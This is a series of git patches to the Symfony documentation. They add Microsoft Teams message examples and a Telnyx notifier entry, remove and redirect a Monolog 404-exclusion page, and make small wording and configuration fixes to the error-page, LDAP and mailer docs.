zKATB;FZK@YTuVy*ESEPwGTc&@ua({1`5copDGXCOh8dp8439)}YLT>UA6HbX4AwZW
zHq;4wDw}QQ_E;z$-mPwyj33gm5c6)2t*Ja?CwbOn?OniRO2m@!<lXumE0>Nnw*Fuy
z-#&Y)p8ObY!nb*l%@T<BItlNIYP|Cw{^GLuX>X1b1fs>W5XCK@NJ!4*BObiLuZ2Sx
z<bCfR5E6OR=+wO0KD!5%WK-u`seC<Y#G8SPcsxg!qe{h-%1SGdo4r@P&#4`h*Bgsh
zroujfcUD+<qWs4xvn*S*SYJ_amhNss;|VHqHx1ajzMRI+WtfGen%KBHMmtBM=T5R}
z8Nbt^+G5MV!X`UnA3QO;k;>T%e8ri{kIm*jux;N>-*ArH@4K{P8+NvBz+>U#J(-U-
z*1uWwEtbRlmb$o)0f7_V;9R&&R*pxoLjtwfsaKR)dUaBNHv&utw2;se@aNA3tIM<$
zj?ni;2ZE)l8LtlK%BXzQ5*f&1`Fg)(GrN>ntj5g*hwFr(PeTDRdEKvfzsH@xJtyY?
z01j@pzk69fICB4;Vw!<xWT0B>O-H2ot-|eCNHTcGjj8Fh0d3Uwq9w82bLt>lwyscK
zt^wr)G$=VKFNzfLF6-=aqS4a#KFEtk$7il7@kbnIxL;eJOqj(-)w4K92s`4Fr@u?r
zfb<vXg$Q)Uujtn!SPRTE^((^wWCy5MK;jnOg<@WLBm)6_Iy|{8yhasIy<^J=1)YFR
z+Iiz_0}UWVBh-^LviTCRRKM^po3tkxGQt^&Ncb+MindRno{kgi`c#b6S-rf|^~x)v
z^=O1WZI1EKUQ7R6SxCdxlZ=>a=zM7zi)7&`*zVe2V)5_tpe?{ZvgOTk$Wi=JxNO>_
zP0f=tIhY=}J*MO>D;Z7wBncBuk8WFkBXZ?9(Y;=NY^LlhgDbs$QZEM!s)KoPMgMw&
z0XnQGo{*N7R%DENYJ6L)+}@>DJ2)hS%XcX=ODzfm*V5`vaX}Z1K)l^A?ubkd!N8g#
z-xQvWi6+&Ij%ZqhHafvJb_IZ#+$cbCYmfv=G%;G$^+XF>Z~SDz0yvbt_7%21JYh8_
zw-HDhmMb;kTJqs*Yik)jwoc?T>{S+G!0vAsovh7O#6@w+`_|#v`zDcz-qW9-xAD46
z>2>fb9#_7ik`vuOP?3pK@hep<9nm@~Z<uG+as^ClM;kI;#^?w{N;;2MIt~jY#X#pP
z%Vj26O&7YeEPtEUHPd32)uVQ@nU?N8cDlXKG|Q<Y6>=Uhp}w;hPf<~c?4C`QaGE!Y
z5VF4Gb*lHL<9t}urxmtL^ryASI>RO<iO21U7ptD^1Oi?z5<bori!8NDHbmcI7gSf0
zK?#+L0(^0W3%FsJ)K@Ip(K>T>!vB_6EyfU9h$)Jz!&8h1g@)(HdRRyN)z9wTPAWZ6
zog89K+rt&RT~9k@(=nzqBDJA1B4y`>xLQ6%dN;XYViD>Kc5D(ud*JYH!1k8>$;M_7
zO)&D|$9;X}UQ;}njK_B5HhR?h_50UG$Cqn(-*9=t`dxz*_S_~;$XM9It};ydQTy52
zF8$b1-5A-?1<t?xYm42y6HFFmuv|fFLLtaq5swbf4aKR03nJG5ytF(&llv?P(k`CY
zn15bJO~w9Vo&?r^`IR}exqj3{$aubheFr00s(rVZtZ8jI080w@Xln=*8$aXnmnEli
zq>-%D*Na{;jzu16_#HfRSJA<pNtZ`%_v`jp@I|p(I3ZE+TUlAa6!QyJ61;$%?Yu)D
z3)yNV8%w@5pPuzcj_n6wDtj{zjSJ}kTc8BYfyM|*>}h-a`6MW$<q2N$mLEnxY+OLB
zccy&tFA$jM_~*csO)oc|5=4}iB0><9DlsX*o30s{DaR6wv=Nx10k3qXD@=(ic{lhT
zVD+Lp8!uWxy9?WfeSevRndwD&?tLb#r0VXP?)DIu$~)2;%Qb@Q?SIyT4Hk;fS3=%b
zI}F~o)7}HkH#&`$cugga`)Yu|i)<UFusw1tHZ=}Y#L!^dlN`1Rd`;A@0m&5zsbxKw
z%B+EW>8;ci)RPVCoCX`C6qyw3rZrIMwN-4md#z`oP~mf<QGpd#?&s?Y<`%)lf8?yL
z-A)xO_=#4}RMk&?j-7lV!_TyW5e#;}&L2m3*lW+Y?%T|q-58CXJmNlfi0BhHoOR5R
z>&P-dJ5nHjT!X0mO9({nv1vH&^$?c(Nj)w<Cb|KViMI144UCBr#xDf9U1(I4O9HX%
z9G!V`zt`{qKu)yyoBW@$2LR~*WTBIF|2G6f4FE>AJ_CFr+5lQSdl(zZ6dfD0OUMQg
zc>tHZ)b?5JxQDu}BRX&y17OcZA2c!aq`r^%9zY)&7QW>t%3tY$Z3pF^j5jW+lLUT2
z{#+o)*<bA*u;|~Rz^`623R(JVYH$qv*BYjW{^#mS8QgrP2!eE_5u^eBEpfcY8YIpC
zvgq$=fdTq&$X@MuYXOy7$p2k~+E1VibzWaTzx5z`4mls!G09`_qwbuaa#G)-A7y8B
zJ*b<PGpajue%KNi-?V&F!kD<J7*dz|vrs71?w255T-uXFRtKmAxHny%+$+2BgFcb*
z*uc9UfDPvTz{J4C#ifQtWL_7x*BCusQmcV5J<(E(1qiqy!vL40CfCfJ)lt38*Ae8B
zMxjDjlAEGe)`1^@W;o_}5UFcp6+kI45F9SM<|jjo;dbni-Du1*uv`a)iw3@*W2mz2
zVH?Yi1OSQGc|bbS24J6Ai0^XFqg&6x4V5)D&18JT?w1?7<@C_6vi{%;BH5^%&%>HY
zh{LU~M(|S0rl*!zL98D}Y9;0MH>o!wSp~4FJRyvxwCh|)M0uVJM*28K$OQoj7C_aN
zzUqC}aH}_s9Z%cv#wK?80)<i#JEqiGMkpLPUp3H_Ck9@%v8zg{7)XkVFCSJgO)54q
zJ)U*xapQ{erEz>Cqa_x8Yd^|L!Idu4Xb5G+r1=mB=3nxe$!<*b2V|~XZwMn0yi;Tw
zg2tZ{K;XPudyFiE7hv(z6!3qEJOGn#stlm`YV2N2x$k`O%;{a-IS<LoZ(3&EHl6Q@
za_?^u%T;l;-}DY&_xwOYRTJW4$-T7qd(-im|1yE!iivj3(5^DU>B8!09Go<qlM+qH
z&l3q^+X4+i6{;M!#2h2^1+j1N>4_EjSOMx-(YU~*a)A@T;`J!7(L<>Ot1t;g)@x&z
zfHy~qze1xuz65qs*aLz63Il<&7xdEQ9KhzUPQ3NZ$(bJm5VZsU-6Ny>ZpCZ<8eWOU
z6PQY}4{IJ{_?a%8@J#0`6X?>!Kw8oW^(7NrK#2gxda(t+rfO<xA?FU%g6RrQW@}+*
z3QwkbzvgRy!bNClX$hygMmheO6yA=~p)eK278hEqN29tV;t3BGE|UVp#Kn2J^yN4=
zR##VrSC50dgvls7HkT<sC#6?e*|3=pTvCN(0V->Fq&hMJpwpPduNVyHC+5tx1B1VZ
z3T)T5HJO0dwS{YUh1D8AS9m#=^dL=!z5?l(#wR4LFtM#F^<>;B@&35eqp{^ZG44am
sNs4%;dh57zea#yB|3Unyy>N7@2?1eu|LC<3u%gjW(S20%@LAyh0I6t03jhEB

literal 0
HcmV?d00001

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index f01a8bd7ce6..bf98694376f 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -218,6 +218,99 @@ to add `message options`_::
 
     $chatter->send($chatMessage);
 
+Adding text to a Microsoft Teams Message
+----------------------------------------
+
+With a Microsoft Teams, you can use the simple ChatMessage::
+
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = (new ChatMessage('Contribute To Symfony'))->transport('microsoftteams');
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/microsoft_teams/message.png
+   :align: center
+
+Adding Interactions to a Microsoft Teams Message
+------------------------------------------------
+
+With a Microsoft Teams Message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\MicrosoftTeams\\MicrosoftTeamsOptions` class
+to add `MessageCard options`_::
+
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\ActionCard;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\HttpPostAction;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\DateInput;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\TextInput;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsOptions;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Field\Fact;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Section;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('');
+
+    // Action elements
+    $input = new TextInput();
+    $input->id('input_title');
+    $input->isMultiline(true)->maxLength(5)->title('In a few words, why would you like to participate?');
+
+    $inputDate = new DateInput();
+    $inputDate->title('Proposed date')->id('input_date');
+
+    // Create Microsoft Teams MessageCard
+    $microsoftTeamsOptions = (new MicrosoftTeamsOptions())
+        ->title('Symfony Online Meeting')
+        ->text('Symfony Online Meeting are the events where the best developers meet to share experiences...')
+        ->summary('Summary')
+        ->themeColor('#F4D35E')
+        ->section((new Section())
+            ->title('Talk about Symfony 5.3 - would you like to join? Please give a shout!')
+            ->fact((new Fact())
+                ->name('Presenter')
+                ->value('Fabien Potencier')
+            )
+            ->fact((new Fact())
+                ->name('Speaker')
+                ->value('Patricia Smith')
+            )
+            ->fact((new Fact())
+                ->name('Duration')
+                ->value('90 min')
+            )
+            ->fact((new Fact())
+                ->name('Date')
+                ->value('TBA')
+            )
+        )
+        ->action((new ActionCard())
+            ->name('ActionCard')
+            ->input($input)
+            ->input($inputDate)
+            ->action((new HttpPostAction())
+                ->name('Add comment')
+                ->target('http://target')
+            )
+        )
+    ;
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($microsoftTeamsOptions);
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/microsoft_teams/message-card.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    Options for Microsoft Teams were introduced in Symfony 5.3.
+
 .. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
 .. _`Embed elements`: https://discord.com/developers/docs/resources/webhook
 .. _`message options`: https://core.telegram.org/bots/api
+.. _`MessageCard options`: https://docs.microsoft.com/en-us/outlook/actionable-messages/message-card-reference

From b9d285db61028749fc7bb7ec9d30af9a1917b373 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Jul 2021 12:39:18 +0200
Subject: [PATCH 2371/7107] Minor tweaks

---
 notifier/chatters.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 61a8ecd9c6b..bc1a4da1914 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -335,7 +335,7 @@ to add `message options`_::
 Adding text to a Microsoft Teams Message
 ----------------------------------------
 
-With a Microsoft Teams, you can use the simple ChatMessage::
+With a Microsoft Teams, you can use the ChatMessage class::
 
     use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
     use Symfony\Component\Notifier\Message\ChatMessage;
@@ -420,9 +420,9 @@ The result will be something like:
 .. image:: /_images/notifier/microsoft_teams/message-card.png
    :align: center
 
-.. versionadded:: 5.3
+.. versionadded:: 5.4
 
-    Options for Microsoft Teams were introduced in Symfony 5.3.
+    Options for Microsoft Teams were introduced in Symfony 5.4.
 
 .. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
 .. _`Embed elements`: https://discord.com/developers/docs/resources/webhook

From fb162ffe527122d667935c4f69c8c61dabffbf05 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Jul 2021 09:03:33 +0200
Subject: [PATCH 2372/7107] [Translation] Support GitHub action format in
 lint:xliff

---
 translation/lint.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/translation/lint.rst b/translation/lint.rst
index 14693f32826..e6987538aeb 100644
--- a/translation/lint.rst
+++ b/translation/lint.rst
@@ -33,16 +33,18 @@ The linter results can be exported to JSON using the ``--format`` option:
     $ php bin/console lint:yaml translations/ --format=json
     $ php bin/console lint:xliff translations/ --format=json
 
-When running the YAML linter inside `GitHub Actions`_, the output is automatically
+When running these linters inside `GitHub Actions`_, the output is automatically
 adapted to the format required by GitHub, but you can force that format too:
 
 .. code-block:: terminal
 
     $ php bin/console lint:yaml translations/ --format=github
+    $ php bin/console lint:xliff translations/ --format=github
 
 .. versionadded:: 5.3
 
-    The ``github`` output format was introduced in Symfony 5.3.
+    The ``github`` output format was introduced in Symfony 5.3 for ``lint:yaml``
+    and in Symfony 5.4 for ``lint:xliff``.
 
 .. tip::
 

From 0d95d3f2161dd6016125d6c73e737af929fa0825 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Jul 2021 15:59:24 +0200
Subject: [PATCH 2373/7107] Minor tweak

---
 configuration/front_controllers_and_kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index 45f60811f37..705c1f2e522 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -249,7 +249,7 @@ includes the following:
     configuration.
 
 ``url_generating_routes.php``
-    The cached routing configuration that used when generating URLs.
+    The cached routing configuration used when generating URLs.
 
 ``url_matching_routes.php``
     The cached configuration used for route matching - look here to see the compiled

From 56688e17ac6a26096312b60dc41d243b6e140965 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Wed, 26 May 2021 19:14:09 +0300
Subject: [PATCH 2374/7107] [Notifier] Telnyx

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 05f5645b30d..46e83d17d0a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -78,6 +78,7 @@ Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?f
 SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
 Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
 SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?from=FROM``
+Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
 Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
 ==============  ====================================  ===========================================================================
@@ -97,7 +98,7 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 5.4
 
-    The MessageMedia, Smsc, Yunpian and AmazonSns integrations were introduced in Symfony 5.4.
+    The MessageMedia, Smsc, Yunpian, AmazonSns and Telnyx integrations were introduced in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 8e7ddc8d8d6f35d9ce7dbbbfad3045d3f23ad5b2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Jul 2021 17:09:34 +0200
Subject: [PATCH 2375/7107] Reword

---
 reference/constraints/Valid.rst | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index dd6721b96c9..49846d3fb39 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -243,12 +243,10 @@ the validation of the ``Address`` fields failed.
     App\Entity\Author.address.zipCode:
         This value is too long. It should have 5 characters or less.
 
-.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+.. tip::
 
-.. note::
-
-    This constraint is not aware what sub-object must be associated with it, a common solution is to combine this constraint
-    with :doc:`Type </reference/constraints/Type>`.
+    If you also want to validate that the ``address`` property is an instance of
+    the ``App\Entity\Address`` class, add the :doc:`Type constraint </reference/constraints/Type>`.
 
 Options
 -------

From 1c7613b30de55cd76dc93f3f81494561c4b73c53 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 25 Jun 2021 00:05:06 +0200
Subject: [PATCH 2376/7107] Delete monolog_regex_based_excludes.rst

Since `excluded_404s` is deprecated in Monolog, I think this page can be deleted. Everything is said on https://symfony.com/doc/current/logging/monolog_exclude_http_codes.html
---
 logging/monolog_regex_based_excludes.rst | 78 ------------------------
 1 file changed, 78 deletions(-)
 delete mode 100644 logging/monolog_regex_based_excludes.rst

diff --git a/logging/monolog_regex_based_excludes.rst b/logging/monolog_regex_based_excludes.rst
deleted file mode 100644
index be4a6ee8b7e..00000000000
--- a/logging/monolog_regex_based_excludes.rst
+++ /dev/null
@@ -1,78 +0,0 @@
-.. index::
-   single: Logging
-   single: Logging; Exclude 404 Errors
-   single: Monolog; Exclude 404 Errors
-
-How to Configure Monolog to Exclude 404 Errors from the Log
-===========================================================
-
-.. tip::
-
-    Read :doc:`/logging/monolog_exclude_http_codes` to learn about a similar
-    but more generic feature that allows to exclude logs for any HTTP status
-    code and not only 404 errors.
-
-Sometimes your logs become flooded with unwanted 404 HTTP errors, for example,
-when an attacker scans your app for some well-known application paths (e.g.
-`/phpmyadmin`). When using a ``fingers_crossed`` handler, you can exclude
-logging these 404 errors based on a regular expression in the MonologBundle
-configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/prod/monolog.yaml
-        monolog:
-            handlers:
-                main:
-                    # ...
-                    type: fingers_crossed
-                    handler: ...
-                    excluded_404s:
-                        - ^/phpmyadmin
-
-    .. code-block:: xml
-
-        <!-- config/packages/prod/monolog.xml -->
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:monolog="http://symfony.com/schema/dic/monolog"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/monolog
-                https://symfony.com/schema/dic/monolog/monolog-1.0.xsd">
-
-            <monolog:config>
-                <monolog:handler type="fingers_crossed" name="main" handler="...">
-                    <!-- ... -->
-                    <monolog:excluded-404>^/phpmyadmin</monolog:excluded-404>
-                </monolog:handler>
-            </monolog:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                'main' => [
-                    // ...
-                    'type'          => 'fingers_crossed',
-                    'handler'       => ...,
-                    'excluded_404s' => [
-                        '^/phpmyadmin',
-                    ],
-                ],
-            ],
-        ]);
-
-
-.. caution::
-
-    Combining ``excluded_404s`` with a ``passthru_level`` lower than
-    ``error`` (i.e. ``debug``, ``info``, ``notice`` or ``warning``) will not
-    actually exclude log messages for the URL(s) listed in ``excluded_404s``
-    because they are logged with level of ``error`` or higher and
-    ``passthru_level`` takes precedence over the URLs being listed in
-    ``excluded_404s``.

From 456ae42dd28636dcc817d1ccedf3a0658ac488eb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Jul 2021 17:28:44 +0200
Subject: [PATCH 2377/7107] Redirect deleted page and fix some references

---
 _build/redirection_map | 1 +
 logging.rst            | 5 -----
 2 files changed, 1 insertion(+), 5 deletions(-)

diff --git a/_build/redirection_map b/_build/redirection_map
index 68095fcf2b8..45b6a971ebd 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -514,3 +514,4 @@
 /service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
 /frontend/encore/shared-entry /frontend/encore/split-chunks
 /testing/functional_tests_assertions /testing#testing-application-assertions
+/logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes
diff --git a/logging.rst b/logging.rst
index 2651247d5c5..fe1f84b56f9 100644
--- a/logging.rst
+++ b/logging.rst
@@ -379,11 +379,6 @@ Learn more
     logging/monolog_exclude_http_codes
     logging/monolog_console
 
-.. toctree::
-    :hidden:
-
-    logging/monolog_regex_based_excludes
-
 .. _`the twelve-factor app methodology`: https://12factor.net/logs
 .. _PSR-3: https://www.php-fig.org/psr/psr-3/
 .. _`stderr`: https://en.wikipedia.org/wiki/Standard_streams#Standard_error_(stderr)

From c910afd597675e7a71a68dc7ac2b2ba063fc34ab Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 27 Jul 2021 18:30:18 +0200
Subject: [PATCH 2378/7107] Removing full URL of error page preview

Reason: The actual url (`http://localhost/index.php/` vs. `http://localhost` vs. `http://whatever` vs. ...) depends on the local web server config.
If you're using the recommended nginx config at https://symfony.com/doc/current/setup/web_server_configuration.html#nginx, you'd have to remove `internal;`. I thought about explaining this, but in the end there are probably too many possible server configs to cover them all...
---
 controller/error_pages.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index f3c8256e453..8136a0e6eb4 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -183,13 +183,10 @@ automatically when installing ``symfony/framework-bundle``):
             ;
         };
 
-With this route added, you can use URLs like these to preview the *error* page
-for a given status code as HTML or for a given status code and format.
+Now you can preview your error page on these two routes:
 
-.. code-block:: text
-
-     http://localhost/index.php/_error/{statusCode}
-     http://localhost/index.php/_error/{statusCode}.{format}
+* `/_error/{statusCode}` for HTML
+* `/_error/{statusCode}.{format}` for any other format
 
 .. _overriding-non-html-error-output:
 

From 76d97f90344b28a96c86d343948812d3dbc17fa8 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 27 Jul 2021 18:55:52 +0200
Subject: [PATCH 2379/7107] Adding global namespace to `Throwable`

* I hope this is the right syntax - don't know what `:class:` is for...
* This only works if you add `(..., ?\Throwable $exception=null)` to the controllers arguments list. Shouldn't this be mentioned too?
---
 controller/error_pages.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index f3c8256e453..384436dccaf 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -284,7 +284,7 @@ the request that will be dispatched to your controller. In addition, your contro
 will be passed two parameters:
 
 ``exception``
-    The original :class:`Throwable` instance being handled.
+    The original :class:`\Throwable` instance being handled.
 
 ``logger``
     A :class:`\\Symfony\\Component\\HttpKernel\\Log\\DebugLoggerInterface`

From c18ca766dcf1bcf81b47ce1572b91ef2c6640651 Mon Sep 17 00:00:00 2001
From: authentictech <authentictech@users.noreply.github.com>
Date: Tue, 27 Jul 2021 17:26:02 +0100
Subject: [PATCH 2380/7107] Update page_creation.rst

I did not see app_lucky_number at the top as described, it was somewhere in the list nearer the bottom among other routes (e.g. _profiler_home,  _profiler_search)
---
 page_creation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/page_creation.rst b/page_creation.rst
index d348f857855..8fa97fb69ae 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -163,7 +163,7 @@ To get a list of *all* of the routes in your system, use the ``debug:router`` co
 
     $ php bin/console debug:router
 
-You should see your ``app_lucky_number`` route at the very top:
+You should see your ``app_lucky_number`` route in the list:
 
 ================== ======== ======== ====== ===============
  Name               Method   Scheme   Host   Path

From d1d66a62686946de6e6b5a762b2174bfd1fd83be Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 Jul 2021 10:02:50 +0200
Subject: [PATCH 2381/7107] Minor tweak

---
 page_creation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/page_creation.rst b/page_creation.rst
index 8fa97fb69ae..0ef60ebfb4e 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -171,7 +171,7 @@ You should see your ``app_lucky_number`` route in the list:
  app_lucky_number   ANY      ANY      ANY    /lucky/number
 ================== ======== ======== ====== ===============
 
-You will also see debugging routes below ``app_lucky_number`` -- more on
+You will also see debugging routes besides ``app_lucky_number`` -- more on
 the debugging routes in the next section.
 
 You'll learn about many more commands as you continue!

From 9c5f7b1908a94c70cfe7db9bc14323889346192d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 Jul 2021 10:36:28 +0200
Subject: [PATCH 2382/7107] Tweaks

---
 controller/error_pages.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 8136a0e6eb4..216e40a6dac 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -183,10 +183,12 @@ automatically when installing ``symfony/framework-bundle``):
             ;
         };
 
-Now you can preview your error page on these two routes:
+With this route added, you can use URLs like these to preview the *error* page
+for a given status code as HTML or for a given status code and format (you might
+need to replace ``http://localhost/`` by the host used in your local setup):
 
-* `/_error/{statusCode}` for HTML
-* `/_error/{statusCode}.{format}` for any other format
+* ``http://localhost/_error/{statusCode}`` for HTML
+* ``http://localhost/_error/{statusCode}.{format}`` for any other format
 
 .. _overriding-non-html-error-output:
 

From a5df2c45df56e2fa604d8bec00f795fc6234a941 Mon Sep 17 00:00:00 2001
From: Michael Devery <michaeldevery@gmail.com>
Date: Wed, 28 Jul 2021 11:52:06 +0100
Subject: [PATCH 2383/7107] Update ldap.rst

Without the tags I was getting an error about the ldap service not being found and "Did you maybe forget to add the "ldap" service tag to this service?"
---
 security/ldap.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/security/ldap.rst b/security/ldap.rst
index cabda06a72f..01f5edae553 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -70,6 +70,8 @@ An LDAP client can be configured using the built-in
         services:
             Symfony\Component\Ldap\Ldap:
                 arguments: ['@Symfony\Component\Ldap\Adapter\ExtLdap\Adapter']
+                tags:
+                    - ldap
             Symfony\Component\Ldap\Adapter\ExtLdap\Adapter:
                 arguments:
                     -   host: my-server

From 7f54a275ff4c42e43983c763bb164355f8a7d74a Mon Sep 17 00:00:00 2001
From: Sergey F <Tyraelqp@gmail.com>
Date: Mon, 26 Jul 2021 10:44:09 +0300
Subject: [PATCH 2384/7107] [Mailer] ping_threshold for ses+smtp

---
 mailer.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index eb293b0e815..e007f82244f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -174,6 +174,17 @@ party provider:
     For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be
     configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
 
+.. caution::
+
+    If you want to use ``ses+smtp`` transport together with :doc:`Messenger </messenger>`
+    to :ref:`send messages in background <mailer-sending-messages-async>`,
+    you need to add ``ping_threshold`` parameter to your ``MAILER_DSN`` with
+    value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
+
+    .. versionadded:: 5.4
+        
+        The ``ping_threshold`` option for ``ses-smtp`` was introduced in Symfony 5.4.
+
 .. note::
 
     When using SMTP, the default timeout for sending a message before throwing an
@@ -1112,6 +1123,8 @@ the final email)::
     $email->getHeaders()->addTextHeader('X-Transport', 'alternative');
     $mailer->send($email);
 
+.. _mailer-sending-messages-async:
+
 Sending Messages Async
 ----------------------
 

From 8a7b61c88b59c795ed3db269e3a927cb94cd7e0e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Jul 2021 15:49:58 +0200
Subject: [PATCH 2385/7107] Tweak

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index e007f82244f..f7b078bd5a7 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -178,8 +178,8 @@ party provider:
 
     If you want to use ``ses+smtp`` transport together with :doc:`Messenger </messenger>`
     to :ref:`send messages in background <mailer-sending-messages-async>`,
-    you need to add ``ping_threshold`` parameter to your ``MAILER_DSN`` with
-    value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
+    you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with
+    a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
 
     .. versionadded:: 5.4
         

From 787411506acc6e7ffd4dd793867ae5f6cebab385 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Jul 2021 16:02:12 +0200
Subject: [PATCH 2386/7107] Tweak

---
 controller/error_pages.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index d69f701da62..3fe650054b8 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -283,7 +283,7 @@ the request that will be dispatched to your controller. In addition, your contro
 will be passed two parameters:
 
 ``exception``
-    The original :class:`\Throwable` instance being handled.
+    The original :phpclass:`Throwable` instance being handled.
 
 ``logger``
     A :class:`\\Symfony\\Component\\HttpKernel\\Log\\DebugLoggerInterface`

From 3c6b003e6ee8959625416816acbfe9be45d69baf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20ALFAIATE?= <seb33300@hotmail.com>
